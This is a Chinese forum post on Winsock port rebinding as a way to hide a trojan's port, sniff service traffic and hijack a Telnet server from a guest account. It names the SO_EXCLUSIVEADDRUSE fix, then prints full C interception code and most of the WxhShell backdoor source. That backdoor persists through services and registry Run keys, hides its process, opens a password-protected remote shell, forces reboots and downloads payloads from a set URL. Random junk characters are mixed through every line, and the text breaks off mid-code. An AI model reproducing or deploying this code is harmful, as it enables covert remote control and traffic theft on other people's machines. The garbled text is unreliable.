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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0z6R'Kjy A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u}macKJmp\  
3M[! N  
  saddr.sin_family = AF_INET; *av<E  
wd8 l$*F*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <lPm1/8  
84& $^lNV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /T0F"e)Ci  
FrGgga$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4DI8s4fi  
k8&;lgO '  
  这意味着什么?意味着可以进行如下的攻击: 9<6;Hr,>G  
X9W@&zQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 un mJbY;t  
[ )Iv^ U9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -P$PAg5"2  
8mvy\l EEH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O`IQ(,yef  
 MzdV2.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u&Yz[)+b=g  
/$Nsd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5}l[>lF  
JzQ_{J`k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6jD=F ^jw  
%HhnSi1K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w e//|fA<  
]vUwG--*  
  #include ]nn98y+  
  #include #4 <SAgq  
  #include ]g3JZF-  
  #include    >C>.\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :1QI8%L'$i  
  int main()  ~d.Y&b  
  { 3wF;GG  
  WORD wVersionRequested; G5BfNU  
  DWORD ret; #jvtUS\  
  WSADATA wsaData; U)o-8OEZ9  
  BOOL val; hn G Z=  
  SOCKADDR_IN saddr;  ~^:A{/  
  SOCKADDR_IN scaddr; lgL%u K)  
  int err; lfow1WRF  
  SOCKET s; IVY]EkEG~  
  SOCKET sc; 2*& ^v  
  int caddsize; NIry)'"  
  HANDLE mt; rH Lm\3  
  DWORD tid;   i>`%TW:g  
  wVersionRequested = MAKEWORD( 2, 2 ); F0TB<1  
  err = WSAStartup( wVersionRequested, &wsaData ); W:2( .?  
  if ( err != 0 ) { b4 6~?*  
  printf("error!WSAStartup failed!\n"); Tx# Mn~xD  
  return -1; eF$x1|  
  } .W%)*&WH\  
  saddr.sin_family = AF_INET; "%w u2%i  
   d7;um<%zn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cKI9#t_  
jvL[ JI,b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A|4[vz9>H  
  saddr.sin_port = htons(23); S9y}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'n3uu1C  
  { 6<QQ@5_  
  printf("error!socket failed!\n"); JX;G<lev  
  return -1; !wVM= z^G  
  } YK'<NE3 4  
  val = TRUE; g*_&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |0b`fOS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Xl#ggub?  
  { ![=yi tB  
  printf("error!setsockopt failed!\n"); IOmfF[  
  return -1; 904}Jh,  
  } KkbDW3-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 14yv$,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \r+ a GB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &j"?\f?  
?+@?Up0wGO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #q=Efn'  
  { :DNY7TvZ  
  ret=GetLastError(); dUZ ,m9u  
  printf("error!bind failed!\n"); $%#!bV  
  return -1; }Zn}  
  } S4z;7z(8+  
  listen(s,2); aEeodA<(  
  while(1) sUQ@7sTj  
  { hRhe& ,v  
  caddsize = sizeof(scaddr); bq*eH (qx  
  //接受连接请求 5U$0F$BBp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +ye3HGD  
  if(sc!=INVALID_SOCKET) "+G8d' %YV  
  { rg!r[1c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oZ|\vA%4^  
  if(mt==NULL) OQJ6e:BGt  
  { fuySN!s  
  printf("Thread Creat Failed!\n"); Tyx_/pJT  
  break; '~=SzO  
  } aqk!T%fg  
  } (O3nL.  
  CloseHandle(mt); D'Q\za  
  } UP,c|  
  closesocket(s); XXa|BZ1RX  
  WSACleanup(); HG^'I+Yn  
  return 0; h2d(?vOT  
  }   VMWf>ZU  
  DWORD WINAPI ClientThread(LPVOID lpParam) $ddCTS^  
  { 4,DeHJjAlE  
  SOCKET ss = (SOCKET)lpParam; }pkzH'$HJ  
  SOCKET sc; oCz/HQoBk  
  unsigned char buf[4096]; .?$gpM?i  
  SOCKADDR_IN saddr; <)D$51 &0  
  long num; ]c'A%:f<  
  DWORD val; 'D1xh~  
  DWORD ret; .$vK&k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +6+i!Sip  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sQZhXaMa $  
  saddr.sin_family = AF_INET; 4o[{>gW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c]!V'#U  
  saddr.sin_port = htons(23); )Pv%#P-<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EADqC>  
  { }N52$L0[  
  printf("error!socket failed!\n"); _H@DLhH|=  
  return -1; *s3/!K  
  } )9]PMA?u  
  val = 100; Xsa].  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ig{0Z">  
  { CU!Dhm/U  
  ret = GetLastError(); tQ#n${a@f  
  return -1; #Gi$DMW  
  } do'GlU oMC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !j-Z Lq:;  
  { wUJcmM;  
  ret = GetLastError(); 5|)W.*Q  
  return -1; x]j W<A  
  } cFXp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S3J^,*'  
  { I7 ]8Y=xf  
  printf("error!socket connect failed!\n"); '~ 47)fN  
  closesocket(sc); Zv{'MIv&v  
  closesocket(ss); Wx#;E9=Im  
  return -1; :g/tZd$G5  
  } {P-):  
  while(1) {{!-Gr  
  { {M)Nnst"~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s5. CFA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rPm x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q,Eo mt  
  num = recv(ss,buf,4096,0); +kD R.E:  
  if(num>0) (cO:`W6.  
  send(sc,buf,num,0); DHRlWQox  
  else if(num==0) #\ErY3k6&  
  break; dc'Y `e  
  num = recv(sc,buf,4096,0); k}rbim  
  if(num>0) qe\5m.k  
  send(ss,buf,num,0); vP,n(reM  
  else if(num==0) Dha1/g1q  
  break; "J1 4C9u   
  } [G3E%z  
  closesocket(ss); vih9 KBT  
  closesocket(sc); fN2lLn9/u  
  return 0 ; TcoB,Kdce  
  } wuo,kM  
,]D,P  
xyxy`qRA  
========================================================== qg$ <oL@~~  
}QmqoCAE~m  
下边附上一个代码,,WXhSHELL u%!@(eKM-  
nr3==21Om4  
========================================================== +cRn%ioVi  
rT>wg1:  
#include "stdafx.h" 3(UVg!t  
wgA_38To  
#include <stdio.h> OZ&o:/*HM  
#include <string.h> ]_$[8#kg  
#include <windows.h> mp3s-YfRc  
#include <winsock2.h> 4&iCht =  
#include <winsvc.h> yDh6KUK  
#include <urlmon.h> `0R./|bv\I  
E(|>Ddv B&  
#pragma comment (lib, "Ws2_32.lib") w2J<WC+_<  
#pragma comment (lib, "urlmon.lib") Bbp|!+KP{(  
f *)Z)6E  
#define MAX_USER   100 // 最大客户端连接数  =BrRYA  
#define BUF_SOCK   200 // sock buffer @o.I;}*N  
#define KEY_BUFF   255 // 输入 buffer wKHBAW[i]  
A%-6`>  
#define REBOOT     0   // 重启 ?@89lLD  
#define SHUTDOWN   1   // 关机 8;X-)&R  
FgO)DQm  
#define DEF_PORT   5000 // 监听端口 bPMhfK2 %  
[00m/fT6  
#define REG_LEN     16   // 注册表键长度 nRY5xRvK  
#define SVC_LEN     80   // NT服务名长度 J=yTbSN\v  
Q@HV- (A  
// 从dll定义API }~q5w{_n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tnIX:6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2?i7 UvV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j|Q-*]V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %>s |j'{  
P|> ~_$W  
// wxhshell配置信息 ?%kV?eu'  
struct WSCFG { B-ESFATc  
  int ws_port;         // 监听端口 C*lJrFpB  
  char ws_passstr[REG_LEN]; // 口令 ?1".;foZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no A\;U3Zu  
  char ws_regname[REG_LEN]; // 注册表键名 -^wl>}#*T3  
  char ws_svcname[REG_LEN]; // 服务名 hzC>~Ub5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w=@Dv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vz[C=_m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'm9` 12 H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &?RQZHtg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~_ a-E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r%N)bNk~  
6@Y|"b  
}; 1nOCQ\$l  
::F|8  
// default Wxhshell configuration A(N4N  
struct WSCFG wscfg={DEF_PORT, ]N[ 5q=A5  
    "xuhuanlingzhe", c"xK`%e  
    1, |D.ND%K&  
    "Wxhshell", c:g'.'/*  
    "Wxhshell", kNL\m[W8$  
            "WxhShell Service", iyog`s c  
    "Wrsky Windows CmdShell Service", _tXlF;  
    "Please Input Your Password: ", l@:0e]8|o  
  1, |WUG}G")*x  
  "http://www.wrsky.com/wxhshell.exe", Lh<).<S  
  "Wxhshell.exe" hpJ-r  
    }; &"q=5e2  
]+$?u&0?w  
// 消息定义模块 o? $.fhD   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;UP$yM;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [fIg{Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Tac$LS\Q  
char *msg_ws_ext="\n\rExit."; 8sCv]|cn  
char *msg_ws_end="\n\rQuit."; ei{eTp4HpV  
char *msg_ws_boot="\n\rReboot..."; VD\=`r)nT  
char *msg_ws_poff="\n\rShutdown..."; cs'{5!i]  
char *msg_ws_down="\n\rSave to "; ri.I pRe  
 rXU\  
char *msg_ws_err="\n\rErr!"; .GcKa024  
char *msg_ws_ok="\n\rOK!"; "wHFN>5B  
E+JqWR5  
char ExeFile[MAX_PATH]; {qMIGwu  
int nUser = 0; kSh( u  
HANDLE handles[MAX_USER]; ` ~`k_7t.  
int OsIsNt; /FJu)H..U  
O7IJ%_A&  
SERVICE_STATUS       serviceStatus; )>- =R5ZV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Tu7QCr5*  
+?!(G}5  
// 函数声明 "w.3Q96r  
int Install(void); bY0|N[ g  
int Uninstall(void); n.G!43@*N  
int DownloadFile(char *sURL, SOCKET wsh); ;d9QAN&0}  
int Boot(int flag); xF44M]i  
void HideProc(void); ^v`\x5"Vp  
int GetOsVer(void); C73 kJa  
int Wxhshell(SOCKET wsl); e)O 4^#i  
void TalkWithClient(void *cs); $p?aVO  
int CmdShell(SOCKET sock); 680o)hh4m>  
int StartFromService(void); Y.r+wc]  
int StartWxhshell(LPSTR lpCmdLine); xK\d4 "  
'X2POay1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \} :PLCKT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d;}nh2*  
tC9n k5~  
// 数据结构和表定义 igR";OQk  
SERVICE_TABLE_ENTRY DispatchTable[] = cpJ|w3x B  
{ .h4 \Y A  
{wscfg.ws_svcname, NTServiceMain}, J S_]FsxD  
{NULL, NULL} 5N&?KA-  
}; xX4N4vb  
Eg3q!J&Z  
// 自我安装 p"ZG%Ow5Q]  
int Install(void) v-_e)m^  
{ ';=O 0)u  
  char svExeFile[MAX_PATH]; <<R*2b  
  HKEY key; .UY^oR=b{  
  strcpy(svExeFile,ExeFile); r? E)obE  
u^qT2Ss0  
// 如果是win9x系统,修改注册表设为自启动 5S--'=fu+  
if(!OsIsNt) { ^RtIh-Z.9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c|@bwat4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -I,$_  
  RegCloseKey(key); *6DB0X_-}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `, Tz Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P! #[mio  
  RegCloseKey(key); 9e,0\J  
  return 0; &AbNWtCV+G  
    } W+ko q*P  
  } oHn Ky[1  
} >_"an~Ss  
else { U/l&tmIVY  
D!-g&HBTC  
// 如果是NT以上系统,安装为系统服务 EE'io5\et  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S2GxV/E  
if (schSCManager!=0) f5VLw`m}.8  
{ EVC]sUT  
  SC_HANDLE schService = CreateService 0*D$R`$  
  ( .Od !0(0  
  schSCManager, T&u5ki4NE  
  wscfg.ws_svcname, MJ [m  
  wscfg.ws_svcdisp, DKJmTH]rUg  
  SERVICE_ALL_ACCESS, /zVOK4BqN+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iE^84l68  
  SERVICE_AUTO_START, 9c,'k#k  
  SERVICE_ERROR_NORMAL, pm0{R[:T7  
  svExeFile, e_ANUll1  
  NULL, %oa-WmWm  
  NULL, T{ XS")Vw  
  NULL, E GU 0)<  
  NULL, a>I+]`g  
  NULL 0 e ~JMUb  
  ); ""F5z,'  
  if (schService!=0) r 8rgY42  
  { '3D XPR^B6  
  CloseServiceHandle(schService); T9_RBy;%  
  CloseServiceHandle(schSCManager); x vl#w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q"sed]  
  strcat(svExeFile,wscfg.ws_svcname); ,|H `e^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9YQb &  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A:N|\Mv2b  
  RegCloseKey(key); [KaAXv .X  
  return 0; ?u=Fj_N_  
    } jaMjZp;{(  
  } Tc &z:  
  CloseServiceHandle(schSCManager); s6v ;  
} QIvVcfM^  
} hl(hJfp  
ju8q?Nyhs  
return 1; u jq=F  
} 0c'<3@39k|  
)E@.!Ut4o  
// 自我卸载 Ln<`E|[29  
int Uninstall(void) }mq6]ZrK  
{ )j(7]uX`  
  HKEY key; (X1e5j>Ru  
[-k  
if(!OsIsNt) { n:\~'+$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 %@4]  
  RegDeleteValue(key,wscfg.ws_regname); NAQAU *yP  
  RegCloseKey(key); ,+vy,<e&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ith 3 =`3  
  RegDeleteValue(key,wscfg.ws_regname); [OV"}<V  
  RegCloseKey(key); tI TS1  
  return 0; H*&f:mfq  
  } @qqg e'  
} )=Z>#iH1  
} !&ayYu##{  
else { ceh j;  
EQyC1j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); { MSkHf=  
if (schSCManager!=0) 4Lh!8g=/  
{ '()xHEGl3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YpZ+n*&+  
  if (schService!=0) F2dHH^  
  { V b4#,  
  if(DeleteService(schService)!=0) { U;V7 u/{  
  CloseServiceHandle(schService); )}]g] g  
  CloseServiceHandle(schSCManager); X_ cV%#  
  return 0; gsv uE  
  } (G u zN  
  CloseServiceHandle(schService); f/NH:1)y  
  } +0%w ;'9z  
  CloseServiceHandle(schSCManager); }~j lj  
} YTX,cj#D^&  
} #`iB`|  
k\YG^I  
return 1; Zq|I,l0+E  
} [vK ^Um  
VT%NO'0  
// 从指定url下载文件 ='sHj4hU  
int DownloadFile(char *sURL, SOCKET wsh) Ic:(Gi- %  
{ wj<6kG  
  HRESULT hr; Xe'x[(l  
char seps[]= "/"; 9ni1f{k  
char *token; _476pZ_  
char *file; 3!Ij;$  
char myURL[MAX_PATH]; -M~:lK]n   
char myFILE[MAX_PATH]; %lx!. G  
u+e{Mim  
strcpy(myURL,sURL); vnt%XU,,Y  
  token=strtok(myURL,seps); hh)`645=x  
  while(token!=NULL) nQtWvT  
  { TnOggpQ6X  
    file=token; "f2$w  
  token=strtok(NULL,seps); <8i//HOE  
  } ,GIy q)  
<X^@*79m  
GetCurrentDirectory(MAX_PATH,myFILE); g i-$Z FzB  
strcat(myFILE, "\\"); R)( T^V`{  
strcat(myFILE, file); V)-+Fd,=  
  send(wsh,myFILE,strlen(myFILE),0); =/+-<px  
send(wsh,"...",3,0); _LUhZlw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x0D*U?A  
  if(hr==S_OK) n;C :0  
return 0; Apag{Z]^B  
else 82qoGSD.  
return 1; x8\?}UnB  
qzLPw*;  
} FP`b>E qOH  
$q{!5-e  
// 系统电源模块 .x.]`b(  
int Boot(int flag) 0c]/bs{}  
{ J26 VnK  
  HANDLE hToken; \ gGW8Q;  
  TOKEN_PRIVILEGES tkp; 9Cp-qA%t  
VG#EdIiI  
  if(OsIsNt) { t%FwXaO#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^4hO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -%CP@dAk  
    tkp.PrivilegeCount = 1; Hqx-~hQO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NiK4d{E&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9(7-{,c  
if(flag==REBOOT) { ~2N"#b&J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2r4Uh1D~  
  return 0; RFcv^Xf  
} |4z IfAO  
else { ) 7@ `ut  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rJT a  
  return 0; `r':by0M  
} EU;9 *W<  
  } , WYPU  
  else { 70nqD>M4  
if(flag==REBOOT) { ,HV(l+k {|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T!kN)#S  
  return 0; RJ&RTo  
} B{#I:Rs9  
else { vWv"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bahm]2  
  return 0; ,Vm < rK  
} hEH?[>9  
} b3[!V{|  
69NeQ$](  
return 1; ]|a g  
} 2\{M:\2o  
P>D)7 V9Hh  
// win9x进程隐藏模块 *#|&JIEsi  
void HideProc(void) sb*G!8j  
{ "m8^zg hL  
aFm_;\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p)-^;=<B3  
  if ( hKernel != NULL ) m dg8,n  
  { ED( Sg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lgy <?LI\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *OsQ}onv  
    FreeLibrary(hKernel); 5Ln,{vsv  
  } exUFS5d  
7S :\"A7  
return;  4e7-0}0  
} _D&598xx  
,w4(kcg%iQ  
// 获取操作系统版本 o5PO =AN  
int GetOsVer(void) Mb}QD~=M  
{ my1@41 H  
  OSVERSIONINFO winfo; Pmx -8w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WE#^a6  
  GetVersionEx(&winfo); JPHL#sKyz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eM6<%?b  
  return 1; /36:ms A  
  else Wvh#:Z  
  return 0; RbnVL$c  
} ; DR$iH-F  
 8dA~\a  
// 客户端句柄模块 eo?bL$A[s  
int Wxhshell(SOCKET wsl) *?vCC+c  
{ sl l\g  
  SOCKET wsh; g$-PR37(  
  struct sockaddr_in client; :3Ox~o  
  DWORD myID; ;[DU%f  
!f [_+CD  
  while(nUser<MAX_USER) 9cF[seE"0  
{  <kqo^  
  int nSize=sizeof(client); tDcT%D {:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ED gag  
  if(wsh==INVALID_SOCKET) return 1; (?c"$|^J  
K\r8g=U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Ai@$tl[S  
if(handles[nUser]==0) (w3YvG.  
  closesocket(wsh); W{+2/P  
else C,r;VyW6BI  
  nUser++; Qw*|qGvy^  
  } [z{1*Xc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H7n>Vx:L-  
:5<UkN)R(  
  return 0; k4J+J.|  
} 6bC3O4Rw  
F$]Pk|,  
// 关闭 socket S,UDezxg  
void CloseIt(SOCKET wsh) ?:q*(EC<  
{ T8$y[W-c  
closesocket(wsh); NXrlk  
nUser--; ~$^XP.a.  
ExitThread(0); &h/X ku&0  
} DTL.Bsc-.  
kl:Bfs)b  
// 客户端请求句柄 )y$(AJx$  
void TalkWithClient(void *cs) f ;n3&e0eC  
{ ~c `l@:  
sO@Tf\d  
  SOCKET wsh=(SOCKET)cs; X \/#@T  
  char pwd[SVC_LEN]; O\ r0bUPE  
  char cmd[KEY_BUFF]; sXPe/fWo  
char chr[1]; .ioEI sg  
int i,j; |CyE5i0  
XSLFPTDEc  
  while (nUser < MAX_USER) { j\M?~=*w  
$!t4r  
if(wscfg.ws_passstr) { Gd85kY@w7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dlvz )  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ym1Y4,  
  //ZeroMemory(pwd,KEY_BUFF); dy[X3jQB  
      i=0; j8sH|{H!Nq  
  while(i<SVC_LEN) { ckCE1e>s  
|sE'XT4ag  
  // 设置超时 M_DwUS 1?  
  fd_set FdRead; eaU  
  struct timeval TimeOut; eHUOU>&P]  
  FD_ZERO(&FdRead); ECmW`#Otb)  
  FD_SET(wsh,&FdRead); |FRg\#kf%  
  TimeOut.tv_sec=8; $XH^~i;  
  TimeOut.tv_usec=0; /)O"l@ }U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `R^gU]Z,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QMm%@zH  
iy.\=Cs$N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J{G?-+`  
  pwd=chr[0]; f$QNg0v  
  if(chr[0]==0xd || chr[0]==0xa) { {' H(g[k  
  pwd=0; om>KU$g  
  break; Y'X%Aw;`  
  } ]Hv[IodJ  
  i++; owv[M6lbD  
    } F!K>Kz  
&K,i f  
  // 如果是非法用户,关闭 socket  Vxt+]5X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xch~ 1K  
} )+Pus~w  
~g t@P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Ch.cE_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A3*!"3nU  
2X&qE}%k S  
while(1) { |y!A&d=xYn  
^LLzZnkcZ  
  ZeroMemory(cmd,KEY_BUFF); dAj$1Ke  
Eh4= ZEX  
      // 自动支持客户端 telnet标准   gBD]}vo-  
  j=0; <OPArht  
  while(j<KEY_BUFF) { OZ;*JR:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 93hxSRw  
  cmd[j]=chr[0]; f%hEnZv  
  if(chr[0]==0xa || chr[0]==0xd) { C7AUsYM  
  cmd[j]=0; 4B][S'f  
  break; d'sZxU  
  } kG*~ |ma  
  j++; )`D:F>p*  
    } 8dhUBJ0_  
;A[Q2(w+  
  // 下载文件 QmIBaMI#  
  if(strstr(cmd,"http://")) { 0m ? )ROaJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9cm#56  
  if(DownloadFile(cmd,wsh)) TS5Q1+hWHV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #$y?v%^  
  else rrv%~giU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WX0tgXl  
  } <of^AKbt  
  else { E4xa[iZ  
{VoHh_[5%  
    switch(cmd[0]) { @=kSo -SX  
  J$v?T$LVw  
  // 帮助 PFK  '$  
  case '?': { ~PNub E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wv/=O}  
    break; OZ!^ak  
  } Sa5G.^ XI  
  // 安装 " 2Dngw  
  case 'i': { X\ F|Tk3_  
    if(Install()) VLN_w$iEq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `y* }lg T  
    else 7=, ;h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lb1Xsgm{  
    break; iG?[<1~  
    } ~y[7K{{ ;T  
  // 卸载 >yh2Lri  
  case 'r': { 0 0U> F  
    if(Uninstall()) RCLeA=/N@0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PnG-h~Y3N  
    else \5cpFj5%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {kAc(  
    break; 2)~> R  
    } 5rUdv}.  
  // 显示 wxhshell 所在路径 uRe'%?W  
  case 'p': { k-""_WJ~^  
    char svExeFile[MAX_PATH]; KCDE{za  
    strcpy(svExeFile,"\n\r"); W+1^4::+  
      strcat(svExeFile,ExeFile); R_xRp&5  
        send(wsh,svExeFile,strlen(svExeFile),0); Nl1D o:PY  
    break; 9Lfv^V0  
    } :P=(k2  
  // 重启 G9@0@2aY8  
  case 'b': { W'TaBuCb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !$>R j  
    if(Boot(REBOOT)) ;IM}|2zuN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ymcLFRu,  
    else { f'3$9x  
    closesocket(wsh); w:l V"]1  
    ExitThread(0); ,wdD8ZT'Ip  
    } _oDz-  
    break; t<?,F  
    } @!d{bQd,  
  // 关机 fa2kG&, _  
  case 'd': { $]2vvr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "8zDbdK  
